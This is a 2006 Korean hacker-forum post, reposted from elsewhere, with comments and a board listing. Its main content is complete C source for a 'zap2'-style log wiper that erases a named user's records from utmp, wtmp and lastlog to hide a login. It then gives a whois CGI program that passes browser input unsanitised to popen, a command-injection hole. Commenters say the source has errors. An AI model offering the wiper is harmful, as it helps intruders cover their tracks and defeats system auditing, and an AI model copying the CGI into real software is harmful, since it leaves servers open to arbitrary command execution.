1581, 9/80 회원가입  로그인  
   khas
   [펌]로그지우기

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=455 [복사]


출저 <인터넷>


<로그지우기>
/etc/utmp, /usr/adm/wtmp와 /usr/adm/lastlog 파일을 변경한다. 이것들은 텍스트
파일이 아니라
서 vi로 편집할 수 없다. 특별한 목적을 지닌 프로그램을 작성해야 한다.

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)


char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LAS

TLOG_NAME, O_R

DWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}

C 로 만든 CGI [Whois 검색]
회선망 정보를 알려주는 Whois 검색 CGI 를 간단하게 구현해보았습니다
쪽팔리긴 하지만 그냥 봐주세요 ^^
참 응용하시면 의외로 써먹을때가 참 많습니당 유닉스의 모든 명령 실행결과
를 브라우저에 출력시킬수 있어요

#include <stdio.h>
#include <string.h>
#include <unistd.h>

/* whois 가 있는 디렉토리와 뒤에 붙여질 인자와 같이 실행될 명령어를
define 해준다
*/
#define WHOIS "/usr/bin/whois -h whois.nic.or.kr"
#define HEADER "<HTML><HEAD><TITLE>Whois 검색</TITLE></HEAD><BODY>"

int main(int argc, char **argv)
{
FILE *fp;
char buf1[50],buf2[500];


printf("Content-Type: text/html\n\n");
puts(HEADER);
printf("<H1>WHOIS 조회검색</H1><P>\n");
printf("<ISINDEX>\n");
printf("조회할 HOST의 IP 나 Domain name 을 입력하세요\n");

/* buf1,buf2 를 0 코드로 각 배열 크기만큼 채운다 */
memset(buf1,'\0',sizeof(buf1));
memset(buf2,'\0',sizeof(buf2));

/* 브라우저에서 넘어온 인자 와 define 된 WHOIS 를 양식에 따라
buf1 에 넣어준다. 즉 buf1 에는 다음과 같은 문구가 삽입된다
/usr/bin/whois -h whois.nic.or.kr argv[1]
*/

sprintf(buf1,"%s %s", WHOIS, argv[1]);

/* 출력을 고정시켜주는 태그 */
printf("<PRE>");

/* popen 함수는 fopen과는 달리 파일을 open 시키는데 아니라
실행시킨다 "r" 모드는 읽기 모드이고 "w" 모드로 대체 시켜주면
실행프로그램에 데이터를 넘겨줄수 있다 있다 pipeopen*/
if ((fp=popen(buf1,"r")) != NULL)
{
while(!feof(fp))
{
/* popen 이 반환한 문자열을 buf에 입력받아
표준화면으로 출력한다 */
fgets(buf2,sizeof(buf2),fp);
printf("%s",buf2);
}
printf("</PRE>\n");
}
else
printf("<H1>Error 발생</H1>\n");

pclose(fp);
return 0;
}

/* END */

이를 유닉스 쉘스크립트로도 훨씬 간단하게 구현 할수있어요
의외로 쉘스크립트도 쓸만해여

#!/bin/sh

WHOIS=/usr/bin/whois

echo Content-Type: text/html
echo

if [ -x $WHOIS ]; then
if [ $# = 0 ]; then
cat << _EOF_
<HTML><HEAD><TITLE>WHOIS SEARCH</TITLE></HEAD><BODY>
<BR><H1>Whois search input</H1>
<ISINDEX>
조회할 사이트의 domain 이나 ip 를 입력하세요 <P>
_EOF_
else
echo \<PRE\>
$WHOIS -h whois.nic.or.kr "$1"
echo \</PRE\>
fi
else
echo whois not exist file
fi
cat << _EOF_
</BODY></HTML>
_EOF_







  Hit : 11530     Date : 2006/01/18 09:30



    
khas 주제 넘게 강의해서 죄송합니다. 욕은 하지말아주세요. 2006/01/18  
khas 좋은내용이라고 생각한것은 도서관의 공유합시다에 올렸습니다. 2006/01/18  
khas 사실 해커스쿨 회원분들에게는 그다지 필요없을듯한 내용이지만, 초보자를 위해서 잠깐 끄적했습니다. 2006/01/18  
ckdmsghcoh 카스님 너무많이 올리셧군요 그리구이거 네이버에 돌아다니는자료 ..; 2006/01/18  
ckdmsghcoh 도서실에 이름이 님이름으루 쫙도배 ... 2006/01/18  
매맞는아이 유닉스용이군요..리눅스와 유닉스의 로그 파일위치가 다르거든요.. 게다가 소스도 오류가 있군요.. 퍼와서 올리려면 잘 되는지 한번 테스트 해봐야 되는게 아닌지..출처 또한..밝혀야. 2006/01/18  
ckdmsghcoh 혹시 포인트 때문에 그러시는건아니시죠? 여긴 자기자신이 만든것을 올리는곳 아닌가&^^;; 2006/01/18  
khas 포인터라... 그런생각은 없었습니다. 2006/01/18  
khas 하기는 여기 있는 분들, 그정도는 알겠죠... 뭐, 도서관 내용 기초적이니 지워야지. 2006/01/18  
khas 음, 그리고 이거 조금 수정하기로 하죠. 2006/01/18  
geniusevil 음~ 도서관 내용 보려고했는데..... 2006/01/18
jonginsir 이런거 작성할려면 얼마나 걸릴까요- 0-; 2006/02/06  
1421   리눅스와 도스[5]     H.R.T
12/18 10041
1420   임베디드 시스템란?[3]     X-line
12/18 8641
1419   편리하지만 정말 모르시는 단축키..[20]     blue21
12/21 9573
1418   pharming attacks[2]     prosper
12/28 7696
1417   정보보안전문가(해커)의 종류..;;[15]     H.R.T
12/29 11449
1416   정보통신 인터넷 용어..(모르시는 분들만..+참고..)[19]     H.R.T
12/29 16857
1415   cmos비밀번호 푸는 방법[25]     idl0521
12/29 20089
1414   알툴즈 프로그램의 광고없애기![13]     kgt2001sus
01/01 8778
1413   원격종료....[39]     bsjzzz
01/02 11966
1412   msn 쓰시는 분들을 위한 공짜로 용량 늘리기[5]     idl0521
01/02 8545
1411   초간단 리눅스 명령어, 기본적으로 꼭꼭 알아야 할 것[14]     빈대
01/04 10273
1410   커널 업그레이드 방법[2]     빈대
01/04 8657
1409   geniusevil의 가벼운 c언어 배우기 1[30]     geniusevil
01/06 10677
1408   geniusevil의 가벼운 C언어 배우기 2[10]     geniusevil
01/09 9624
1407     [re] ckdmsghcoh님 답변[6]     geniusevil
01/09 6744
1406   2.4.x에서 2.6.x 로 컴파일 할때 주의할점[2]     dadmi29
01/09 9197
1405   리눅스 방화벽의 종류...[4]     bsjzzz
01/12 13995
1404   * 보안에 대한 주요 FAQ[8]     dl4815
01/14 11011
  [펌]로그지우기[12]     khas
01/18 11529
1402   geniusevil의 가벼운 c언어 배우기 3[7]     geniusevil
01/19 10786
[1][2][3][4][5][6][7][8] 9 [10]..[80]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org